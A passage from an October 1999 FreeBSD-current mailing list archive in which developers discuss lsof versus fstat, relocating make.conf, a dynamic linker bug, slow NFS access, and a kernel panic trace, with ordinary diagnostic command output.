ArfcLqStqV1ZEvzKkfM+DiLEiGVDKhChkEyoXyU6+imf6FOgvzF9xdnSvwqP3gPV/avBT4Ku dsgaF/ZS0L9guU/dO0W7gH5SeaTaF+1HWcxTrotRXVRrx0Zd9RVLUV1KdSv9hVSHeQOCurr4 bK2KcPo+1R2FlgsFlSX+3oVcYkbSzFX1eX8NFP2Hmk/U+HSk4018++tsHiFgIIIQgBogOAYI LQtCyzWxbEaFiNGGzC0siOooJs8+aPo+mErivN3qNEvasEd6D02LsLhKfS6UnjsqNC/Ap3qT /d3F1FzKnwwpkWMZUZEx30q7CxB5kbL0TgS2KbvfNtVXIcb1U5cZknUoPIugtIapMJeT0NqT oKeLoLFZJ3r7RfxPYv3qjzryvKr9FJhXaT+xLv7SvujrIH+raD4YF2fak2L8hsq4pNi81Hxw FqDYXvUf6vqVuOLkn9CzKWjpJzfaS/mKAMgH8X3JNCXEl243VMo0mIrUpv7qndVNUDmL+HCf qEYyk/ko//xdyRThQkM9KF+Q --------------B59DC1F7599F64499B94E92B-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Oct 28 7:11:38 1999 Delivered-To: freebsd-current@freebsd.org Received: from smtp-1.sti.com.br (smtp-1.sti.com.br [200.212.48.202]) by hub.freebsd.org (Postfix) with ESMTP id 0686D15048; Thu, 28 Oct 1999 07:11:11 -0700 (PDT) (envelope-from Casa_do_Pensamento@mail.com) Received: from carlos ([200.188.66.109]) by smtp-1.sti.com.br (8.9.3/8.9.3) with SMTP id LAA27354; Thu, 28 Oct 1999 11:04:56 -0200 Message-Id: <199910281304.LAA27354@smtp-1.sti.com.br> X-Sender: From: To: Date: Thu, 28 Oct 1999 09:32:50 -0300 Subject: Solidão MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Solidão "Você não pode estar só se gostar da pessoa com quem fica quando esta sozinho." - Wayne Dyer To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Oct 28 7:52:37 1999 Delivered-To: freebsd-current@freebsd.org Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193]) by hub.freebsd.org (Postfix) with ESMTP id 0187B14D46 for ; Thu, 28 Oct 1999 07:52:33 -0700 (PDT) (envelope-from wollman@khavrinen.lcs.mit.edu) Received: (from wollman@localhost) by khavrinen.lcs.mit.edu (8.9.3/8.9.3) id KAA91520; Thu, 28 Oct 1999 10:52:30 -0400 (EDT) (envelope-from wollman) Date: Thu, 28 Oct 1999 10:52:30 -0400 (EDT) From: Garrett Wollman Message-Id: <199910281452.KAA91520@khavrinen.lcs.mit.edu> To: Poul-Henning Kamp Cc: Chuck Robey , current@FreeBSD.ORG Subject: Re: lsof + namecache In-Reply-To: <312.941094594@critter.freebsd.dk> References: <312.941094594@critter.freebsd.dk> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG < said: > The lsof functionality should in my opinion be added to the system, > and the necessary hooks should be added to the kernel using sysctl. fstat(1). -GAWollman To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Oct 28 8:54: 6 1999 Delivered-To: freebsd-current@freebsd.org Received: from relay.nuxi.com (nuxi.cs.ucdavis.edu [169.237.7.38]) by hub.freebsd.org (Postfix) with ESMTP id EF60114CA6 for ; Thu, 28 Oct 1999 08:54:03 -0700 (PDT) (envelope-from obrien@NUXI.com) Received: from dragon.nuxi.com (root@d60-025.leach.ucdavis.edu [169.237.60.25]) by relay.nuxi.com (8.9.3/8.9.3) with ESMTP id IAA18806; Thu, 28 Oct 1999 08:54:02 -0700 (PDT) (envelope-from obrien@dragon.nuxi.com) Received: (from obrien@localhost) by dragon.nuxi.com (8.9.3/8.9.1) id IAA47539; Thu, 28 Oct 1999 08:54:02 -0700 (PDT) (envelope-from obrien) Date: Thu, 28 Oct 1999 08:54:02 -0700 From: "David O'Brien" To: Garrett Wollman Cc: current@FreeBSD.ORG Subject: Re: lsof + namecache Message-ID: <19991028085402.A47498@dragon.nuxi.com> Reply-To: obrien@FreeBSD.ORG References: <312.941094594@critter.freebsd.dk> <199910281452.KAA91520@khavrinen.lcs.mit.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: <199910281452.KAA91520@khavrinen.lcs.mit.edu>; from wollman@khavrinen.lcs.mit.edu on Thu, Oct 28, 1999 at 10:52:30AM -0400 X-Operating-System: FreeBSD 4.0-CURRENT Organization: The NUXI BSD group X-PGP-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Keyid: 34F9F9D5 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, Oct 28, 1999 at 10:52:30AM -0400, Garrett Wollman wrote: > > The lsof functionality should in my opinion be added to the system, > > and the necessary hooks should be added to the kernel using sysctl. > > fstat(1). fstat(1) does not have the functionality (that is now missing) that people have come to expect from LSOF. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Oct 28 8:54:50 1999 Delivered-To: freebsd-current@freebsd.org Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193]) by hub.freebsd.org (Postfix) with ESMTP id 7FABB14C4E; Thu, 28 Oct 1999 08:54:45 -0700 (PDT) (envelope-from wollman@khavrinen.lcs.mit.edu) Received: (from wollman@localhost) by khavrinen.lcs.mit.edu (8.9.3/8.9.3) id LAA91800; Thu, 28 Oct 1999 11:54:44 -0400 (EDT) (envelope-from wollman) Date: Thu, 28 Oct 1999 11:54:44 -0400 (EDT) From: Garrett Wollman Message-Id: <199910281554.LAA91800@khavrinen.lcs.mit.edu> To: obrien@FreeBSD.ORG Cc: Garrett Wollman , current@FreeBSD.ORG Subject: Re: lsof + namecache In-Reply-To: <19991028085402.A47498@dragon.nuxi.com> References: <312.941094594@critter.freebsd.dk> <199910281452.KAA91520@khavrinen.lcs.mit.edu> <19991028085402.A47498@dragon.nuxi.com> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG < said: > fstat(1) does not have the functionality (that is now missing) that > people have come to expect from LSOF. ...which is? -GAWollman -- Garrett A. Wollman | O Siem / We are all family / O Siem / We're all the same wollman@lcs.mit.edu | O Siem / The fires of freedom Opinions not those of| Dance in the burning flame MIT, LCS, CRS, or NSA| - Susan Aglukark and Chad Irschick To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Oct 28 9:40: 0 1999 Delivered-To: freebsd-current@freebsd.org Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74]) by hub.freebsd.org (Postfix) with ESMTP id B14E314BC7 for ; Thu, 28 Oct 1999 09:39:53 -0700 (PDT) (envelope-from jdp@polstra.com) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.9.3/8.9.3) with ESMTP id JAA27157; Thu, 28 Oct 1999 09:39:52 -0700 (PDT) (envelope-from jdp@polstra.com) From: John Polstra Received: (from jdp@localhost) by vashon.polstra.com (8.9.3/8.9.1) id JAA04366; Thu, 28 Oct 1999 09:39:52 -0700 (PDT) (envelope-from jdp@polstra.com) Date: Thu, 28 Oct 1999 09:39:52 -0700 (PDT) Message-Id: <199910281639.JAA04366@vashon.polstra.com> To: dillon@apollo.backplane.com Subject: Re: minor heads up - /etc/make.conf{,.local} being moved In-Reply-To: <199910271928.MAA35915@apollo.backplane.com> References: <199910271928.MAA35915@apollo.backplane.com> Organization: Polstra & Co., Seattle, WA Cc: current@freebsd.org Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In article <199910271928.MAA35915@apollo.backplane.com>, Matthew Dillon wrote: > The sys.mk adjustment has already been committed. An email has > been sent to the CVS meisters to get /usr/src/etc/make.conf > moved. Are you sure? I didn't receive anything from you. John -- John Polstra jdp@polstra.com John D. Polstra & Co., Inc. Seattle, Washington USA "No matter how cynical I get, I just can't keep up." -- Nora Ephron To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Oct 28 9:57: 5 1999 Delivered-To: freebsd-current@freebsd.org Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74]) by hub.freebsd.org (Postfix) with ESMTP id 061F2151C6 for ; Thu, 28 Oct 1999 09:57:02 -0700 (PDT) (envelope-from jdp@polstra.com) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.9.3/8.9.3) with ESMTP id JAA27256; Thu, 28 Oct 1999 09:56:57 -0700 (PDT) (envelope-from jdp@polstra.com) From: John Polstra Received: (from jdp@localhost) by vashon.polstra.com (8.9.3/8.9.1) id JAA04489; Thu, 28 Oct 1999 09:56:52 -0700 (PDT) (envelope-from jdp@polstra.com) Date: Thu, 28 Oct 1999 09:56:52 -0700 (PDT) Message-Id: <199910281656.JAA04489@vashon.polstra.com> To: sobomax@altavista.net Subject: Re: ld-elf.so.1 weirdness In-Reply-To: <3818467A.EA4DB1DE@altavista.net> References: <3818467A.EA4DB1DE@altavista.net> Organization: Polstra & Co., Seattle, WA Cc: current@freebsd.org Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In article <3818467A.EA4DB1DE@altavista.net>, Maxim Sobolev wrote: > For a quite long time I searched for the way to reproduce this bug, > and it seems that I've finally found how to do it. In most cases > attempt to make any port on a freshly booted system stops with: > > /usr/libexec/ld-elf.so.1: /usr/bin/awk: Shared object has no run-time symbol > table > > but when I'm trying to run make again with the same port it works > flawlessly. I haven't heard any other reports of this. I'm almost certain it is caused by something outside the dynamic linker -- probably a kernel bug. The debugging output you included shows evidence that the dynamic linker is seeing garbage when it mmaps your executable. The fact that it works OK after the first attempt also points to the VM system as the culprit. The dynamic linker hasn't changed much recently, but the kernel has changed a lot. John -- John Polstra jdp@polstra.com John D. Polstra & Co., Inc. Seattle, Washington USA "No matter how cynical I get, I just can't keep up." -- Nora Ephron To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Oct 28 10:36:30 1999 Delivered-To: freebsd-current@freebsd.org Received: from dan.emsphone.com (dan.emsphone.com [199.67.51.101]) by hub.freebsd.org (Postfix) with ESMTP id 5D47114D10; Thu, 28 Oct 1999 10:36:28 -0700 (PDT) (envelope-from dan@dan.emsphone.com) Received: (from dan@localhost) by dan.emsphone.com (8.9.3/8.9.3) id MAA73405; Thu, 28 Oct 1999 12:36:14 -0500 (CDT) (envelope-from dan) Date: Thu, 28 Oct 1999 12:36:14 -0500 From: Dan Nelson To: Garrett Wollman Cc: obrien@FreeBSD.ORG, current@FreeBSD.ORG Subject: Re: lsof + namecache Message-ID: <19991028123614.A73271@dan.emsphone.com> References: <312.941094594@critter.freebsd.dk> <199910281452.KAA91520@khavrinen.lcs.mit.edu> <19991028085402.A47498@dragon.nuxi.com> <199910281554.LAA91800@khavrinen.lcs.mit.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: <199910281554.LAA91800@khavrinen.lcs.mit.edu>; from wollman@khavrinen.lcs.mit.edu on Thu, Oct 28, 1999 at 11:54:44AM -0400 X-OS: FreeBSD 4.0-CURRENT Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In the last episode (Oct 28), Garrett Wollman said: > < said: > > > fstat(1) does not have the functionality (that is now missing) that > > people have come to expect from LSOF. > > ...which is? The ability to map a filedescriptor with a filesystem name by digging inside the kernel's namecache: (emssrv5:root) /root># fstat -p 1 USER CMD PID FD MOUNT INUM MODE SZ|DV R/W root init 1 wd / 2 drwxr-xr-x 1024 r root init 1 text / 153791 -r-x------ 233472 r (emssrv5:root) /root># lsof -p 1 COMMAND PID USER FD TYPE DEVICE SIZE/OFF INODE NAME init 1 root cwd VDIR 4,131072 1024 2 / init 1 root txt VREG 4,131072 233472 153791 /sbin/init (emssrv5:root) /root># -- Dan Nelson dnelson@emsphone.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Oct 28 10:39:41 1999 Delivered-To: freebsd-current@freebsd.org Received: from uni4nn.gn.iaf.nl (osmium.gn.iaf.nl [193.67.144.12]) by hub.freebsd.org (Postfix) with ESMTP id 1E03715185 for ; Thu, 28 Oct 1999 10:37:31 -0700 (PDT) (envelope-from wilko@yedi.iaf.nl) Received: from yedi.iaf.nl (uucp@localhost) by uni4nn.gn.iaf.nl (8.9.2/8.9.2) with UUCP id TAA04380; Thu, 28 Oct 1999 19:26:12 +0200 (MET DST) Received: (from wilko@localhost) by yedi.iaf.nl (8.9.3/8.9.3) id TAA00827; Thu, 28 Oct 1999 19:17:04 +0200 (CEST) (envelope-from wilko) From: Wilko Bulte Message-Id: <199910281717.TAA00827@yedi.iaf.nl> Subject: Re: make buildworld problem... In-Reply-To: <99Oct28.090631est.40344@border.alcanet.com.au> from Peter Jeremy at "Oct 28, 1999 9:11:23 am" To: peter.jeremy@alcatel.com.au Date: Thu, 28 Oct 1999 19:17:04 +0200 (CEST) Cc: freebsd-current@freebsd.org X-Organisation: Private FreeBSD site - Arnhem, The Netherlands X-pgp-info: PGP public key at 'finger wilko@freefall.freebsd.org' X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG As Peter Jeremy wrote ... > On 1999-Oct-28 07:36:53 +1000, David O'Brien wrote: > >IF you are going to run -CURRENT, you need to read this list. > > And read /usr/src/UPDATING which also warns about this > > >(/me wonders how many MORE times we are going to have to say this because > >of the signal changes...) > > A very large number I suspect. > > IMHO, the correct solution is to for the entire make world process to > be re-worked. I believe the process should always be to boot a new > kernel first (as bde(?) commented - it's much easier to recover from a > broken kernel than a broken world), and then install a new world. > Getting there from here is non-trivial - the major problem being that > our build process does not adequately differentiate between compiling > code that must run now and code that must run with the new kernel. Marcel (the one that hacked on signals ;-) is giving this very subject intensive thought. But it is definitely a lot of work. -- | / o / / _ Arnhem, The Netherlands - Powered by FreeBSD - |/|/ / / /( (_) Bulte WWW : http://www.tcja.nl http://www.freebsd.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Oct 28 10:40: 8 1999 Delivered-To: freebsd-current@freebsd.org Received: from relay.nuxi.com (nuxi.cs.ucdavis.edu [169.237.7.38]) by hub.freebsd.org (Postfix) with ESMTP id 042B3152B2 for ; Thu, 28 Oct 1999 10:40:05 -0700 (PDT) (envelope-from obrien@NUXI.com) Received: from dragon.nuxi.com (root@d60-025.leach.ucdavis.edu [169.237.60.25]) by relay.nuxi.com (8.9.3/8.9.3) with ESMTP id KAA22283; Thu, 28 Oct 1999 10:39:59 -0700 (PDT) (envelope-from obrien@dragon.nuxi.com) Received: (from obrien@localhost) by dragon.nuxi.com (8.9.3/8.9.1) id KAA53354; Thu, 28 Oct 1999 10:39:58 -0700 (PDT) (envelope-from obrien) Date: Thu, 28 Oct 1999 10:39:58 -0700 From: "David O'Brien" To: Garrett Wollman Cc: current@FreeBSD.ORG Subject: Re: lsof + namecache Message-ID: <19991028103958.A53305@dragon.nuxi.com> Reply-To: obrien@NUXI.com References: <312.941094594@critter.freebsd.dk> <199910281452.KAA91520@khavrinen.lcs.mit.edu> <19991028085402.A47498@dragon.nuxi.com> <199910281554.LAA91800@khavrinen.lcs.mit.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: <199910281554.LAA91800@khavrinen.lcs.mit.edu> X-Operating-System: FreeBSD 4.0-CURRENT Organization: The NUXI BSD group X-PGP-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Keyid: 34F9F9D5 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > fstat(1) does not have the functionality (that is now missing) that > > people have come to expect from LSOF. > ...which is? Say for instance I want to know which program someone is running (and what libs it is using). fstat does not show the path to the program: obrien communicator-4.7 84460 root / 2 drwxr-xr-x 1536 r obrien communicator-4.7 84460 wd /files 500011 drwx--x--x 9728 r obrien communicator-4.7 84460 text / 72712 -r-xr-xr-x 13234176 r .... vs. LSOF: communica 82769 obrien txt VREG 13,131072 13234176 72712 /usr/local/lib/netscape/communicator-4.7.us.bin communica 82769 obrien txt VREG 13,131072 77824 87630 /usr/libexec/ld.so communica 82769 obrien txt VREG 13,131072 292041 143092 /usr/X11R6/lib/aout/libXt.so.6.0 communica 82769 obrien txt VREG 13,131072 79896 143093 /usr/X11R6/lib/aout/libXmu.so.6.0 ... Both tools are useful. As Vic Abell has said: I think lsof and fstat have gradually converged. Each delivers some information the other doesn't but both deliver the same essential information. Probably the most important thing in lsof's favor is that it provides consistent support across multiple UNIX dialects -- Linux, NetBSD, OpenBSD, AIX, HP-UX, SCO OSR, SCO Unixware, and Sun Solaris to name a few. Lsof might have a richer set of command option filters than fstat, and it has an output mode designed for use by post processing scripts and filters. -- -- David (obrien@NUXI.com) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Oct 28 10:47:35 1999 Delivered-To: freebsd-current@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 4199215316 for ; Thu, 28 Oct 1999 10:47:32 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id KAA04924; Thu, 28 Oct 1999 10:47:22 -0700 (PDT) (envelope-from dillon) Date: Thu, 28 Oct 1999 10:47:22 -0700 (PDT) From: Matthew Dillon Message-Id: <199910281747.KAA04924@apollo.backplane.com> To: John Polstra Cc: current@FreeBSD.ORG Subject: Re: minor heads up - /etc/make.conf{,.local} being moved References: <199910271928.MAA35915@apollo.backplane.com> <199910281639.JAA04366@vashon.polstra.com> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG : :In article <199910271928.MAA35915@apollo.backplane.com>, Matthew :Dillon wrote: : :> The sys.mk adjustment has already been committed. An email has :> been sent to the CVS meisters to get /usr/src/etc/make.conf :> moved. : :Are you sure? I didn't receive anything from you. : :John : John Polstra jdp@polstra.com I emailed Peter so as not to create any confusion because he seemed active at the time, but if either if you could move the file I would appreciate it! -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Oct 28 10:56:24 1999 Delivered-To: freebsd-current@freebsd.org Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74]) by hub.freebsd.org (Postfix) with ESMTP id 6ACE114BF4 for ; Thu, 28 Oct 1999 10:56:21 -0700 (PDT) (envelope-from jdp@polstra.com) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.9.3/8.9.3) with ESMTP id KAA27626; Thu, 28 Oct 1999 10:56:21 -0700 (PDT) (envelope-from jdp@polstra.com) From: John Polstra Received: (from jdp@localhost) by vashon.polstra.com (8.9.3/8.9.1) id KAA04802; Thu, 28 Oct 1999 10:56:20 -0700 (PDT) (envelope-from jdp@polstra.com) Date: Thu, 28 Oct 1999 10:56:20 -0700 (PDT) Message-Id: <199910281756.KAA04802@vashon.polstra.com> To: dillon@apollo.backplane.com Subject: Re: minor heads up - /etc/make.conf{,.local} being moved In-Reply-To: <199910281747.KAA04924@apollo.backplane.com> References: <199910271928.MAA35915@apollo.backplane.com> <199910281639.JAA04366@vashon.polstra.com> <199910281747.KAA04924@apollo.backplane.com> Organization: Polstra & Co., Seattle, WA Cc: current@freebsd.org Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In article <199910281747.KAA04924@apollo.backplane.com>, Matthew Dillon wrote: > > I emailed Peter so as not to create any confusion because he seemed > active at the time, but if either if you could move the file I would > appreciate it! Good, I've just done it. Your best bet for CVS requests is to mail to . That way Peter, Mark, and I will all get it. John -- John Polstra jdp@polstra.com John D. Polstra & Co., Inc. Seattle, Washington USA "No matter how cynical I get, I just can't keep up." -- Nora Ephron To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Oct 28 11: 4: 9 1999 Delivered-To: freebsd-current@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 1FB9E14BF4 for ; Thu, 28 Oct 1999 11:04:05 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id LAA05133; Thu, 28 Oct 1999 11:04:02 -0700 (PDT) (envelope-from dillon) Date: Thu, 28 Oct 1999 11:04:02 -0700 (PDT) From: Matthew Dillon Message-Id: <199910281804.LAA05133@apollo.backplane.com> To: Matthew Jacob Cc: freebsd-current@FreeBSD.ORG Subject: Re: really draggy NFS access in -current? References: Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :Okay- I went home and left a cvs update going on /usr/src - reading from :a local CVSUP repository NFS mounted on /home/ncvs. The server is a :Sun SS1000 Solaris 2.6 box. 6 hours later, the cvs update is still chugging :slowly along- top shows cvs as: : : PID USERNAME PRI NICE SIZE RES STATE TIME WCPU CPU COMMAND : 275 mjacob 2 0 8704K 7616K sbwait 1:28 1.90% 1.90% cvs : :most of the time. Just to check that something wasn't broken for da5, :I did a test dd writing to a file just now and it happily munched along :at 4MB/s. : :The filesystem *is* a fat block fs: : : a: 4304896 0 4.2BSD 8192 32768 16 # (Cyl. 0 - 267*) : :I suppose the blockage could be at the ufs end... Anyone have a pointer :as to what try to narrow this down- mainly to save me the trouble of :actually thinking about it (got a lot else on mind)? Unacceptably bad :something or others here..... This kinda sounds like packet loss to me, causing the NFS link to back off. This would be true for both a udp or tcp nfs mount, but tcp tends to be more sensitive to packet loss. You should be able to tell by ktrace'ing the running cvs and then kdump -R'ing the resulting ktrace.out file to see if weird delays are occuring on nfs-related syscalls. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Oct 28 11: 8:27 1999 Delivered-To: freebsd-current@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id 3B48514BDD for ; Thu, 28 Oct 1999 11:08:24 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from semuta.feral.com (semuta [192.67.166.70]) by feral.com (8.8.7/8.8.7) with ESMTP id LAA22092; Thu, 28 Oct 1999 11:08:20 -0700 Date: Thu, 28 Oct 1999 11:08:24 -0700 (PDT) From: Matthew Jacob Reply-To: mjacob@feral.com To: Matthew Dillon Cc: freebsd-current@FreeBSD.ORG Subject: Re: really draggy NFS access in -current? In-Reply-To: <199910281804.LAA05133@apollo.backplane.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hmm. Could be. That's a good thing to try. The connection is a Full Duplex 100BaseT to a 3com switch (both alpha/freebsd && Solaris) so what you suggest Just Didn't Occur To Me (tm). Thanks.... On Thu, 28 Oct 1999, Matthew Dillon wrote: > :Okay- I went home and left a cvs update going on /usr/src - reading from > :a local CVSUP repository NFS mounted on /home/ncvs. The server is a > :Sun SS1000 Solaris 2.6 box. 6 hours later, the cvs update is still chugging > :slowly along- top shows cvs as: > : > : PID USERNAME PRI NICE SIZE RES STATE TIME WCPU CPU COMMAND > : 275 mjacob 2 0 8704K 7616K sbwait 1:28 1.90% 1.90% cvs > : > :most of the time. Just to check that something wasn't broken for da5, > :I did a test dd writing to a file just now and it happily munched along > :at 4MB/s. > : > :The filesystem *is* a fat block fs: > : > : a: 4304896 0 4.2BSD 8192 32768 16 # (Cyl. 0 - 267*) > : > :I suppose the blockage could be at the ufs end... Anyone have a pointer > :as to what try to narrow this down- mainly to save me the trouble of > :actually thinking about it (got a lot else on mind)? Unacceptably bad > :something or others here..... > > This kinda sounds like packet loss to me, causing the NFS link to > back off. This would be true for both a udp or tcp nfs mount, but > tcp tends to be more sensitive to packet loss. > > You should be able to tell by ktrace'ing the running cvs and then > kdump -R'ing the resulting ktrace.out file to see if weird delays are > occuring on nfs-related syscalls. > > -Matt > Matthew Dillon > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Oct 28 12:36:11 1999 Delivered-To: freebsd-current@freebsd.org Received: from chain.freebsd.os.org.za (wire.freebsd.os.org.za [196.7.162.242]) by hub.freebsd.org (Postfix) with ESMTP id 80D4915316 for ; Thu, 28 Oct 1999 12:35:57 -0700 (PDT) (envelope-from khetan@chain.freebsd.os.org.za) X-Disclaimer: Contents of this e-mail are the writer's opinion X-Disclaimer2: and may not be quoted, re-produced or forwarded X-Disclaimer3: (in part or whole) without the author's permission. Received: from localhost (khetan@localhost) by chain.freebsd.os.org.za (8.9.3/8.9.3) with ESMTP id VAA02450 for ; Thu, 28 Oct 1999 21:35:54 +0200 (SAST) (envelope-from khetan@chain.freebsd.os.org.za) Date: Thu, 28 Oct 1999 21:35:54 +0200 (SAST) From: Khetan Gajjar Reply-To: Khetan Gajjar To: current@freebsd.org Subject: CMAP2 busy ? Message-ID: X-Mobile: +27 82 9907663 MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi. I've been experiencing problems with my machine crashing when in X, when idle overnight. Normally it panics with XF86_S3. Today however the machine returned something a little different, which I haven't seen before. I hope this helps someone. The machine worlds with no problems, and is perfectly stable when in console mode. X has been rebuilt several times. GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-unknown-freebsd"... IdlePTD 3559424 initial pcb at 29d280 panicstr: pmap_zero_page: CMAP2 busy panic messages: --- panic: pmap_zero_page: CMAP2 busy syncing disks... 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 done dumping to dev #wd/0x20001, offset 77824 dump 111 110 109 108 107 106 105 104 103 102 101 100 99 98 97 96 95 94 93 92 91 90 89 88 87 86 85 84 83 82 81 80 79 78 77 76 75 74 73 72 71 70 69 68 67 66 65 64 63 62 61 60 59 58 57 56 55 54 53 52 51 50 49 48 47 46 45 44 43 42 41 40 39 38 37 36 35 34 33 32 31 30 29 28 27 26 25 24 23 22 21 20 19 18 17 16 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 --- #0 boot (howto=256) at ../../kern/kern_shutdown.c:280 280 dumppcb.pcb_cr3 = rcr3(); (kgdb) quit --- Khetan Gajjar (!kg1779) * khetan@os.org.za http://khetan.os.org.za/ * Talk/Finger khetan@khetan.os.org.za FreeBSD enthusiast * http://www2.za.freebsd.org/ /dev/random output : Nihil est--in vita priore ego imperator Romanus fui. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Oct 28 12:50:33 1999 Delivered-To: freebsd-current@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 1809D14C46; Thu, 28 Oct 1999 12:50:30 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id MAA09049; Thu, 28 Oct 1999 12:50:22 -0700 (PDT) (envelope-from dillon) Date: Thu, 28 Oct 1999 12:50:22 -0700 (PDT) From: Matthew Dillon Message-Id: <199910281950.MAA09049@apollo.backplane.com> To: Jos Backus Cc: freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: cpdup port committed Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG : :On Tue, Oct 26, 1999 at 08:03:35PM -0700, Matthew Dillon wrote: :> Yes, I'll do a cpdup port too. : :Thanks, Matt! I know plenty of people that will find this useful. : :-- :Jos Backus _/ _/_/_/ "Reliability means never /usr/ports/misc/cpdup now exists! Trek73 will be next... it's a bit more difficult to create a port for. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Oct 28 13: 1:44 1999 Delivered-To: freebsd-current@freebsd.org Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1]) by hub.freebsd.org (Postfix) with ESMTP id 7002B14DDB for ; Thu, 28 Oct 1999 13:01:27 -0700 (PDT) (envelope-from gallatin@cs.duke.edu) Received: from grasshopper.cs.duke.edu (grasshopper.cs.duke.edu [152.3.145.30]) by 